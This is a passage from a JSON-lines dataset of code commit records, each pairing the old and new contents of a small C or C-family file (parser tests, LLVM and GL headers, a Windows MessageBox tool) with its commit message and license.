91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"126b631e22915e43dc41a6a62e6d29c88d9afc19","old_file":"test\/test_parser_empty.c","new_file":"test\/test_parser_empty.c","old_contents":"#include \"test_parser_p.h\"\n\nvoid empty_success(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"Start\"),\n    rule_init(\"Start\", empty()), 1);\n\n  parse_t *result = parse(\"hello\", grammar);\n  assert_non_null(result);\n  assert_int_equal(result->length, 0);\n  assert_int_equal(result->n_children, 0);\n}\n","new_contents":"#include \"test_parser_p.h\"\n\nvoid empty_success(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"Start\"),\n    rule_init(\"Start\", empty()), 1);\n\n  parse_result_t *result = parse(\"hello\", grammar);\n  assert_non_null(result);\n\n  parse_t *suc = result->data.result;\n  assert_int_equal(suc->length, 0);\n  assert_int_equal(suc->n_children, 0);\n}\n","subject":"Use new API on empty tests","message":"Use new API on empty tests\n","lang":"C","license":"mit","repos":"Baltoli\/peggo,Baltoli\/peggo"}
{"commit":"9819e6f6db1beec8053584002d9573c496b17ea7","old_file":"test\/test-file.c","new_file":"test\/test-file.c","old_contents":"#include <glib.h>\n#include <glib\/gstdio.h>\n\n#include <uuid\/uuid.h>\n\n#include <wizbit\/file.h>\n\nchar *work_dir = \"\/tmp\/wizbittest\";\n\nint main()\n{\n\tsystem (\"rm -rf \/tmp\/wizbittest\");\n\tmkdir (work_dir,0700);\n\tchdir (work_dir);\n\n\t{\n\t\tstruct wiz_file *file;\n\t\twiz_vref vref;\n\t\tFILE *fp;\n\n\t\tfile = wiz_file_open(WIZ_FILE_NEW, 0, 0);\n\t\tfp = wiz_file_get_handle(file);\n\t\twiz_file_snapshot(file, vref);\n\t\twiz_file_close(file);\n\t}\n\n\treturn 0;\n}\n\n","new_contents":"#include <glib.h>\n#include <glib\/gstdio.h>\n\n#include <uuid\/uuid.h>\n\n#include <wizbit\/file.h>\n\nchar *work_dir = \"\/tmp\/wizbittest\";\n\nint main()\n{\n\tsystem (\"rm -rf \/tmp\/wizbittest\");\n\tmkdir (work_dir,0700);\n\tchdir (work_dir);\n\n\t{\n\t\tstruct wiz_file *file;\n\t\twiz_vref vref;\n\t\tFILE *fp;\n\n\t\tfile = wiz_file_open(WIZ_FILE_NEW, 0, 0);\n\t\tfp = wiz_file_get_handle(file);\n\t\tfprintf(fp, \"I BELIEVE\");\n\t\twiz_file_snapshot(file, vref);\n\t\twiz_file_close(file);\n\t}\n\n\treturn 0;\n}\n\n","subject":"Test writing to temp file and making a snapshot","message":"Test writing to temp file and making a snapshot\n","lang":"C","license":"lgpl-2.1","repos":"wizbit-archive\/wizbit,wizbit-archive\/wizbit"}
{"commit":"417ad97a5325870634f1b8edb1bf1223c28a757a","old_file":"test.c","new_file":"test.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\ntypedef struct State State;\nstruct State\n{\n    char c;\n    State *out;\n};\n\ntypedef struct List List;\nstruct List\n{\n    State *s;\n};\n\nState *State_new(char c, State *out)\n{\n\tState *s;\n\ts = malloc(sizeof(*s));\n\ts->c = c;\n\ts->out = out;\n\treturn s;\n}\n\nvoid *List_new(State **outpp)\n{\n    List *slist = malloc(sizeof(*slist));\n    slist->s = *outpp;\n    return slist;\n}\n\nint main()\n{\n    State *a = State_new('a', NULL);\n    List *l  = List_new(&(a->out));\n\n    \/* This printf() will result in a seg fault, since a->out is NULL. *\/\n    \/\/printf(\"%c\\n\", a->out->c);\n\n    \/* change what State struct is pointed to by l *\/\n    l->s = State_new('b', NULL);\n\n    \/* why is this not b? *\/\n    \/\/printf(\"%c\\n\", a->out->c);\n    return 0;\n}\n","subject":"Test code to simplify error","message":"Test code to simplify error\n","lang":"C","license":"mit","repos":"ggundersen\/re"}
{"commit":"5c8bed619e318e12f883f2e1df4773be68cae334","old_file":"src\/gamemaps_parser.h","new_file":"src\/gamemaps_parser.h","old_contents":"#ifndef GAMEMAPS_PARSER_H\n#define GAMEMAPS_PARSER_H\n\n#include <stdbool.h>\n#include <stddef.h>\n#include <stdint.h>\n\n\/\/\/\n\/\/\/ Parses content of the map header file.\n\/\/\/\n\/\/\/ \\return `true` if successful, `false` otherwise\n\/\/\/\nbool parse_map_header(\n    uint8_t  *header,               \/\/\/< [in]  The content of the map header file\n    size_t   length,                \/\/\/< [in]  The length of the map header file\n    uint32_t *level_pointers,       \/\/\/< [out] The level pointers array\n    size_t   *level_pointers_length \/\/\/< [out] The length of the level pointers array\n);\n\n#endif\n","new_contents":"#ifndef GAMEMAPS_PARSER_H\n#define GAMEMAPS_PARSER_H\n\n#include <stdbool.h>\n#include <stddef.h>\n#include <stdint.h>\n\n\/\/\/\n\/\/\/ A structure representing a plane\n\/\/\/\ntypedef struct {\n    uint16_t *data;  \/\/\/< Plane data\n    size_t   length; \/\/\/< The length of the plane data\n} plane_t;\n\n\/\/\/\n\/\/\/ A structure representing a level\n\/\/\/\ntypedef struct {\n    plane_t  *planes;    \/\/\/< Planes\n    size_t   planes_num; \/\/\/< The number of planes\n    uint16_t width;      \/\/\/< The width of the level\n    uint16_t height;     \/\/\/< The height of the level\n    uint8_t  name[16];   \/\/\/< The name of the level\n} level_t;\n\n\/\/\/\n\/\/\/ A structure representing map data\n\/\/\/\ntypedef struct {\n    level_t *levels;    \/\/\/< Levels\n    size_t  levels_num; \/\/\/< The number of levels\n} map_data_t;\n\n\/\/\/\n\/\/\/ Parses content of the map header file.\n\/\/\/\n\/\/\/ \\return `true` if successful, `false` otherwise\n\/\/\/\nbool parse_map_header(\n    uint8_t  *header,               \/\/\/< [in]  The content of the map header file\n    size_t   length,                \/\/\/< [in]  The length of the map header file\n    uint32_t *level_pointers,       \/\/\/< [out] The level pointers array\n    size_t   *level_pointers_length \/\/\/< [out] The length of the level pointers array\n);\n\n\/\/\/\n\/\/\/ Parses content of the map data file.\n\/\/\/\n\/\/\/ \\return `true` if successful, `false` otherwise\n\/\/\/\nbool parse_map_data(\n    uint8_t    *data,       \/\/\/< [in]  Raw map data\n    size_t     data_length, \/\/\/< [in]  The length of the raw map data\n    map_data_t *map_data    \/\/\/< [out] Parsed map data\n);\n\n#endif\n","subject":"Add some definitions required for parsing map data","message":"Add some definitions required for parsing map data\n","lang":"C","license":"mit","repos":"Xiyng\/gamemaps-parser,Xiyng\/gamemaps-parser"}
{"commit":"2bc87f4dd510a5d3e7f255de3af0e68042af60e9","old_file":"messagebox.c","new_file":"messagebox.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <errno.h>\n#include <windows.h>\n\n#define URL \"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms645505\\\n(v=vs.85).aspx\"\n#define VERSION \"0.1.0\"\n\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine,\n                   int nCmdShow)\n{\n    LPWSTR *szArgList;\n    int argCount;\n\n    szArgList = CommandLineToArgvW(GetCommandLineW(), &argCount);\n    if (szArgList == NULL) {\n        fprintf(stderr, \"Unable to parse the command line.\\n\");\n        return 255;\n    }\n    if (argCount < 3 || argCount > 4) {\n        fprintf(stderr, \"Batch MessageBox v\" VERSION \"\\n\");\n        fprintf(stderr, \"Usage: %ls message title [type]\\n\\n\", szArgList[0]);\n\n        fprintf(stderr, \"Calls MessageBoxW() with the given arguments. See\\n\"\n                        URL \"\\nfor the possible values of \\\"type\\\". \"\n                        \"ERRORLEVEL is the return value or 255 on\\nerror.\\n\");\n        return 255;\n    }\n    \/* Ignore _wtoi errors. *\/\n    int type = _wtoi(szArgList[3]);\n    int button = MessageBoxW(NULL, szArgList[1], szArgList[2], type);\n    LocalFree(szArgList);\n    return button;\n}\n","new_contents":"#undef __STRICT_ANSI__\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <errno.h>\n#include <windows.h>\n\n#define URL \"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms645505\\\n(v=vs.85).aspx\"\n#define VERSION \"0.1.0\"\n\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine,\n                   int nCmdShow)\n{\n    LPWSTR *szArgList;\n    int argCount;\n\n    szArgList = CommandLineToArgvW(GetCommandLineW(), &argCount);\n    if (szArgList == NULL) {\n        fprintf(stderr, \"Unable to parse the command line.\\n\");\n        return 255;\n    }\n    if (argCount < 3 || argCount > 4) {\n        fprintf(stderr, \"Batch MessageBox v\" VERSION \"\\n\");\n        fprintf(stderr, \"Usage: %ls message title [type]\\n\\n\", szArgList[0]);\n\n        fprintf(stderr, \"Calls MessageBoxW() with the given arguments. See\\n\"\n                        URL \"\\nfor the possible values of \\\"type\\\". \"\n                        \"ERRORLEVEL is the return value or 255 on\\nerror.\\n\");\n        return 255;\n    }\n    \/* Ignore _wtoi errors. *\/\n    int type = _wtoi(szArgList[3]);\n    int button = MessageBoxW(NULL, szArgList[1], szArgList[2], type);\n    LocalFree(szArgList);\n    return button;\n}\n","subject":"Fix warning about implicit declaration of _wtoi()","message":"Fix warning about implicit declaration of _wtoi()\n\nPer http:\/\/0mg.hatenadiary.jp\/entry\/2015\/08\/25\/172457.\n","lang":"C","license":"mit","repos":"dbohdan\/messagebox,dbohdan\/messagebox"}
{"commit":"6888f7293c815a4cd4c313c1a9bf57cc95f7d043","old_file":"Pod\/Classes\/MapperMacros\/VOKManagedObjectMapperMacros.h","new_file":"Pod\/Classes\/MapperMacros\/VOKManagedObjectMapperMacros.h","old_contents":"\/\/\n\/\/  VOKManagedObjectMapperMacros.h\n\/\/  Vokoder\n\/\/\n\/\/  Copyright © 2016 Vokal.\n\/\/\n\n#ifndef VOKManagedObjectMapperMacros_h\n#define VOKManagedObjectMapperMacros_h\n\n#import \"VOKManagedObjectMap.h\"\n\n#import <VOKKeyPathHelper.h>\n\n\/**\n *  Creates a map with the default date mapper.\n *\n *  @param inputKeyPath           The foreign key to match with the local key.\n *  @param coreDataSelectorSymbol The local selector symbol.\n *  @param klass                  The class on which the local selector symbol is defined.\n *\n *  @return A VOKManagedObjectMap\n *\/\n#ifndef VOKMapForeignToLocalClassProperty\n#   define VOKMapForeignToLocalClassProperty(inputKeyPath, klass, coreDataSelectorSymbol) \\\n[VOKManagedObjectMap mapWithForeignKeyPath:inputKeyPath coreDataKey:VOKKeyForInstanceOf(klass, coreDataSelectorSymbol)]\n#endif\n\n\/**\n *  Creates a map with the default date mapper.\n *\n *  @param inputKeyPath           The foreign key to match with the local key.\n *  @param coreDataSelectorSymbol The local selector symbol on the class of self.\n *\n *  @return A VOKManagedObjectMap\n *\/\n#ifndef VOKMapForeignToLocalForSelf\n#   define VOKMapForeignToLocalForSelf(inputKeyPath, coreDataSelectorSymbol) \\\n[VOKManagedObjectMap mapWithForeignKeyPath:inputKeyPath coreDataKey:VOKKeyForSelf(coreDataSelectorSymbol)]\n#endif\n\n#endif \/* VOKManagedObjectMapperMacros_h *\/\n","new_contents":"\/\/\n\/\/  VOKManagedObjectMapperMacros.h\n\/\/  Vokoder\n\/\/\n\/\/  Copyright © 2016 Vokal.\n\/\/\n\n#ifndef VOKManagedObjectMapperMacros_h\n#define VOKManagedObjectMapperMacros_h\n\n#import \"VOKManagedObjectMap.h\"\n\n#import <VOKUtilities\/VOKKeyPathHelper.h>\n\n\/**\n *  Creates a map with the default date mapper.\n *\n *  @param inputKeyPath           The foreign key to match with the local key.\n *  @param coreDataSelectorSymbol The local selector symbol.\n *  @param klass                  The class on which the local selector symbol is defined.\n *\n *  @return A VOKManagedObjectMap\n *\/\n#ifndef VOKMapForeignToLocalClassProperty\n#   define VOKMapForeignToLocalClassProperty(inputKeyPath, klass, coreDataSelectorSymbol) \\\n[VOKManagedObjectMap mapWithForeignKeyPath:inputKeyPath coreDataKey:VOKKeyForInstanceOf(klass, coreDataSelectorSymbol)]\n#endif\n\n\/**\n *  Creates a map with the default date mapper.\n *\n *  @param inputKeyPath           The foreign key to match with the local key.\n *  @param coreDataSelectorSymbol The local selector symbol on the class of self.\n *\n *  @return A VOKManagedObjectMap\n *\/\n#ifndef VOKMapForeignToLocalForSelf\n#   define VOKMapForeignToLocalForSelf(inputKeyPath, coreDataSelectorSymbol) \\\n[VOKManagedObjectMap mapWithForeignKeyPath:inputKeyPath coreDataKey:VOKKeyForSelf(coreDataSelectorSymbol)]\n#endif\n\n#endif \/* VOKManagedObjectMapperMacros_h *\/\n","subject":"Include VOKKeyPathHelper.h as a module header","message":"Include VOKKeyPathHelper.h as a module header\n","lang":"C","license":"mit","repos":"vokal\/Vokoder,vokal\/Vokoder,designatednerd\/Vokoder,vokal\/Vokoder,designatednerd\/Vokoder,brockboland\/Vokoder,brockboland\/Vokoder,brockboland\/Vokoder,designatednerd\/Vokoder,vokal\/Vokoder,designatednerd\/Vokoder,brockboland\/Vokoder,brockboland\/Vokoder"}
{"commit":"ad42e08ce166b18f20f0346c5a2bb6a6f107c5fb","old_file":"integer-multiplication\/recursive.c","new_file":"integer-multiplication\/recursive.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nint* toInt(char * s, int len){\n\tint * arr = malloc(sizeof(char) * len);\n\tint i = 0;\n\n\tfor(i = 0; i < len; i++) {\n\t\tarr[i] = s[i] - '0';\n\t}\n\t\n\treturn arr;\n}\n\nint main(int argc, char *argv[]) {\n\tint n1_len = strlen(argv[1]);\n\tint n2_len = strlen(argv[2]);\n\n\tint * n1 = toInt(argv[1], n1_len);\n\tint * n2 = toInt(argv[2], n2_len);\n\n\tfree(n2);\n\tfree(n1);\n\treturn 0;\n}","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nint* toInt(char * s, int len){\n\tint * arr = malloc(sizeof(int) * len);\n\tint i = 0;\n\n\tfor(i = 0; i < len; i++) {\n\t\tarr[i] = s[i] - '0';\n\t}\n\t\n\treturn arr;\n}\n\nint** getabcd(int *arr1, int *arr2, int len1, int len2){\n\tint i,j;\n\tint *a = malloc(sizeof(int*) * (len1 \/ 2));\n\tint *b = malloc(sizeof(int*) * (len1 \/ 2 + (len1 % 2)));\n\tint *c = malloc(sizeof(int*) * (len2 \/ 2));\n\tint *d = malloc(sizeof(int*) * (len2 \/ 2 + (len2 % 2)));\n\tint **abcd = malloc(sizeof(int*) * 4);\n\n\tfor(i = 0; i < len1\/2; i++){\n\t\ta[i] = arr1[i];\n\t\tb[i] = arr1[i+len1\/2];\n\t}\n\tif (len1 % 2) {\n\t\tb[i] = arr1[len1 - 1];\n\t}\n\n\tfor(i = 0; i < len2\/2; i++){\n\t\tc[i] = arr2[i];\n\t\td[i] = arr2[i+len2\/2];\n\t}\n\tif (len2 % 2) {\n\t\td[i] = arr2[len2 - 1];\n\t}\n\n\tabcd = (int*[4]){a,b,c,d};\n\n\treturn abcd;\n}\n\nint main(int argc, char *argv[]) {\n\tint n1_len = strlen(argv[1]);\n\tint n2_len = strlen(argv[2]);\n\n\tint * n1 = toInt(argv[1], n1_len);\n\tint * n2 = toInt(argv[2], n2_len);\n\tint i,j;\n\tint **abcd = getabcd(n1, n2, n1_len, n2_len);\n\n\tfree(n2);\n\tfree(n1);\n\treturn 0;\n}","subject":"Split int arrays into 4 smaller int arrays","message":"Split int arrays into 4 smaller int arrays\n\nManaged to split int arrays into 4 smaller int arrays representing\na, b, c, and d, and return as an array of these 4 arrays. Am not\nsure this is the best way to go about this anymore...\n","lang":"C","license":"mit","repos":"timpel\/stanford-algs,timpel\/stanford-algs"}
{"commit":"5c110dd17a8e122bf2fe297c41b30e848e934549","old_file":"src\/runtime\/main.c","new_file":"src\/runtime\/main.c","old_contents":"#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include <orbit\/orbit.h>\n\nint main(int argc, const char** argv) {\n    \n    if(argc < 2) {\n        fprintf(stderr, \"error: no input module file.\\n\");\n        return -1;\n    }\n    \n    OrbitVM* vm = orbit_vmNew();\n    if(orbit_vmInvoke(vm, argv[1], \"main\")) {\n        fprintf(stderr, \"error: interpreter error\\n\");\n    }\n    orbit_vmDealloc(vm);\n}","new_contents":"#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include <orbit\/orbit.h>\n\nint main(int argc, const char** argv) {\n    \n    if(argc < 2) {\n        fprintf(stderr, \"error: no input module file.\\n\");\n        return -1;\n    }\n    \n    OrbitVM* vm = orbit_vmNew();\n    if(!orbit_vmInvoke(vm, argv[1], \"main\")) {\n        fprintf(stderr, \"error: interpreter error\\n\");\n    }\n    orbit_vmDealloc(vm);\n}","subject":"Fix wrong success check in runtime cli","message":"Fix wrong success check in runtime cli\n","lang":"C","license":"mit","repos":"amyinorbit\/orbitvm,amyinorbit\/orbitvm,cesarparent\/orbitvm,amyinorbit\/orbitvm,cesarparent\/orbitvm"}
{"commit":"7f5209ef7f14dee23044de2c9aa738b646271004","old_file":"iv\/lv5\/breaker\/mono_ic.h","new_file":"iv\/lv5\/breaker\/mono_ic.h","old_contents":"","new_contents":"\/\/ MonoIC compiler\n#ifndef IV_BREAKER_MONO_IC_H_\n#define IV_BREAKER_MONO_IC_H_\nnamespace iv {\nnamespace lv5 {\nnamespace breaker {\n\nclass MonoIC {\n};\n\n} } }  \/\/ namespace iv::lv5::breaker\n#endif  \/\/ IV_BREAKER_MONO_IC_H_\n","subject":"Add initial MonoIC compiler file","message":"Add initial MonoIC compiler file\n","lang":"C","license":"bsd-2-clause","repos":"Constellation\/iv,Constellation\/iv,Constellation\/iv,Constellation\/iv"}
{"commit":"5f1a5c7f57ce37e4fd6cca09d3c03ce9a34b6282","old_file":"include\/llvm\/Target\/TargetSelect.h","new_file":"include\/llvm\/Target\/TargetSelect.h","old_contents":"","new_contents":"\/\/===- TargetSelect.h - Target Selection & Registration -------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file provides utilities to make sure that certain classes of targets are\n\/\/ linked into the main application executable, and initialize them as\n\/\/ appropriate.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TARGET_TARGETSELECT_H\n#define LLVM_TARGET_TARGETSELECT_H\n\n#include \"llvm\/Config\/config.h\"\n\nnamespace llvm {\n  \/\/ Declare all of the target-initialization functions that are available.\n#define LLVM_TARGET(TargetName) void Initialize##TargetName##Target();\n#include \"llvm\/Config\/Targets.def\"\n  \n  \/\/ Declare all of the available asm-printer initialization functions.\n  \/\/ Declare all of the target-initialization functions.\n#define LLVM_ASM_PRINTER(TargetName) void Initialize##TargetName##AsmPrinter();\n#include \"llvm\/Config\/AsmPrinters.def\"\n  \n  \/\/\/ InitializeAllTargets - The main program should call this function if it\n  \/\/\/ wants to link in all available targets that LLVM is configured to support.\n  inline void InitializeAllTargets() {\n#define LLVM_TARGET(TargetName) llvm::Initialize##TargetName##Target();\n#include \"llvm\/Config\/Targets.def\"\n  }\n  \n  \/\/\/ InitializeAllAsmPrinters - The main program should call this function if\n  \/\/\/ it wants all asm printers that LLVM is configured to support.  This will\n  \/\/\/ cause them to be linked into its executable.\n  inline void InitializeAllAsmPrinters() {\n#define LLVM_ASM_PRINTER(TargetName) Initialize##TargetName##AsmPrinter();\n#include \"llvm\/Config\/AsmPrinters.def\"\n  }\n  \n  \n  \/\/\/ InitializeNativeTarget - The main program should call this function to\n  \/\/\/ initialize the native target corresponding to the host.  This is useful \n  \/\/\/ for JIT applications to ensure that the target gets linked in correctly.\n  inline bool InitializeNativeTarget() {\n  \/\/ If we have a native target, initialize it to ensure it is linked in.\n#ifdef LLVM_NATIVE_ARCH\n#define DoInit2(TARG, MOD)   llvm::Initialize ## TARG ## MOD()\n#define DoInit(T, M) DoInit2(T, M)\n    DoInit(LLVM_NATIVE_ARCH, Target);\n    return false;\n#undef DoInit\n#undef DoInit2\n#else\n    return true;\n#endif\n  }  \n}\n\n#endif\n","subject":"Add a utility header that makes it easy to link in the right set of targets for various purposes.","message":"Add a utility header that makes it easy to link in the right set \nof targets for various purposes.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@73610 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap"}
{"commit":"954ca58264801b7a4cac4b3bc53d0bd01feaca92","old_file":"include\/GL.h","new_file":"include\/GL.h","old_contents":"#ifndef _GL_H_\n#define _GL_H_\n\n#if defined __APPLE__\n#include <OpenGLES\/ES3\/gl.h>\n#include <OpenGLES\/ES3\/glext.h>\n#elif defined GL_ES\n#include <GLES3\/gl3.h>\n#include <EGL\/egl.h>\n#include <EGL\/eglext.h>\n#else\n#define GL_GLEXT_PROTOTYPES\n\n#ifdef WIN32\n#include <GL\/glew.h>\n#include <windows.h>\n#endif\n\n#ifdef __ANDROID__\n#include <GLES3\/gl3.h>\n#include <GLES3\/gl3ext.h>\n#else\n#include <GL\/gl.h>\n\n#ifdef _WIN32\n#include \"..\/system\/win32\/glext.h\"\n#else\n#include <GL\/glext.h>\n#endif\n#endif\n\n#endif\n\n#endif\n","new_contents":"#ifndef _GL_H_\n#define _GL_H_\n\n#if defined __APPLE__\n#include <OpenGLES\/ES2\/gl.h>\n#include <OpenGLES\/ES2\/glext.h>\n#elif defined GL_ES\n#include <GLES2\/gl2.h>\n#include <GLES2\/gl2ext.h>\n#include <EGL\/egl.h>\n#include <EGL\/eglext.h>\n#include <importgl.h>\n#else\n\/\/#define GL_GLEXT_PROTOTYPES\n\n#ifdef WIN32\n#include <GL\/glew.h>\n#include <windows.h>\n#endif\n\n#ifdef __ANDROID__\n#include <importgl.h>\n#else\n#include <GL\/gl.h>\n\n#ifdef _WIN32\n#include \"..\/system\/win32\/glext.h\"\n#else\n#include <GL\/glext.h>\n#endif\n#endif\n\n#endif\n\n#endif\n","subject":"Remove gl includes from __ANDROID__","message":"Remove gl includes from __ANDROID__","lang":"C","license":"mit","repos":"Sometrik\/framework,Sometrik\/framework,Sometrik\/framework"}
{"commit":"307265aaabc5d61e1aa3add68f87911e003a85fa","old_file":"support\/c\/idris_directory.h","new_file":"support\/c\/idris_directory.h","old_contents":"#ifndef __IDRIS_DIRECTORY_H\n#define __IDRIS_DIRECTORY_H\n\nchar* idris2_currentDirectory();\nint idris2_changeDir(char* dir);\nint idris2_createDir(char* dir);\nvoid* idris2_openDir(char* dir);\nvoid idris2_dirClose(void* d);\nchar* idris2_nextDirEntry(void* d);\n\n#endif\n","new_contents":"#ifndef __IDRIS_DIRECTORY_H\n#define __IDRIS_DIRECTORY_H\n\nchar* idris2_currentDirectory();\nint idris2_changeDir(char* dir);\nint idris2_createDir(char* dir);\nvoid* idris2_openDir(char* dir);\nvoid idris2_closeDIr(void* d);\nint idris2_removeDir(char* path);\nchar* idris2_nextDirEntry(void* d);\n\n#endif\n","subject":"Update C support header files","message":"Update C support header files\n","lang":"C","license":"bsd-3-clause","repos":"mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm,mmhelloworld\/idris-jvm"}
{"commit":"5b1265c575dcaa7f8d424f7e6cfdb956ee048dff","old_file":"src\/Methcla\/Utility\/Macros.h","new_file":"src\/Methcla\/Utility\/Macros.h","old_contents":"\/\/ Copyright 2012-2013 Samplecount S.L.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef METHCLA_UTILITY_MACROS_H_INCLUDED\n#define METHCLA_UTILITY_MACROS_H_INCLUDED\n\n#if defined(__GNUC__)\n#    define METHCLA_WITHOUT_WARNINGS_BEGIN                           \\\n        _Pragma(\"GCC diagnostic push\")                               \\\n            _Pragma(\"GCC diagnostic ignored \\\"-Wunused-parameter\\\"\") \\\n                _Pragma(\"GCC diagnostic ignored \\\"-Wunused-private-field\\\"\")\n#    define METHCLA_WITHOUT_WARNINGS_END _Pragma(\"GCC diagnostic pop\")\n#else\n#    define METHCLA_WITHOUT_WARNINGS_BEGIN\n#    define METHCLA_WITHOUT_WARNINGS_END\n#endif\n\n#endif \/\/ METHCLA_UTILITY_MACROS_H_INCLUDED\n","new_contents":"\/\/ Copyright 2012-2013 Samplecount S.L.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef METHCLA_UTILITY_MACROS_H_INCLUDED\n#define METHCLA_UTILITY_MACROS_H_INCLUDED\n\n#if defined(__GNUC__)\n#    if __GNUC__ > 4\n#        define METHCLA_WITHOUT_WARNINGS_BEGIN                   \\\n            _Pragma(\"GCC diagnostic push\") _Pragma(              \\\n                \"GCC diagnostic ignored \\\"-Wunused-parameter\\\"\") \\\n                _Pragma(\"GCC diagnostic ignored \\\"-Wunused-private-field\\\"\")\n#        define METHCLA_WITHOUT_WARNINGS_END _Pragma(\"GCC diagnostic pop\")\n#    else\n#        define METHCLA_WITHOUT_WARNINGS_BEGIN \\\n            _Pragma(\"GCC diagnostic push\")     \\\n                _Pragma(\"GCC diagnostic ignored \\\"-Wunused-parameter\\\"\")\n#        define METHCLA_WITHOUT_WARNINGS_END _Pragma(\"GCC diagnostic pop\")\n#    endif\n#else\n#    define METHCLA_WITHOUT_WARNINGS_BEGIN\n#    define METHCLA_WITHOUT_WARNINGS_END\n#endif\n\n#endif \/\/ METHCLA_UTILITY_MACROS_H_INCLUDED\n","subject":"Remove -Wunused-private-field from pragma for gcc <= 4","message":"Remove -Wunused-private-field from pragma for gcc <= 4\n","lang":"C","license":"apache-2.0","repos":"samplecount\/methcla,samplecount\/methcla,samplecount\/methcla,samplecount\/methcla,samplecount\/methcla,samplecount\/methcla"}
{"commit":"6bc5a1e26fadb438c8363d60b7d60a790870c3c2","old_file":"test2\/structs\/lvalue\/cant.c","new_file":"test2\/structs\/lvalue\/cant.c","old_contents":"\/\/ RUN: %check -e %s\n\nmain()\n{\n\tstruct A\n\t{\n\t\tint i;\n\t} a, b, c;\n\n\ta = b ? : c; \/\/ CHECK: error: struct involved in if-expr\n}\n","new_contents":"\/\/ RUN: %check -e %s\n\nmain()\n{\n\tstruct A\n\t{\n\t\tint i;\n\t} a, b, c;\n\n\ta = b ? : c; \/\/ CHECK: error: struct involved in ?:\n}\n","subject":"Fix struct if-expression test warning","message":"Fix struct if-expression test warning\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
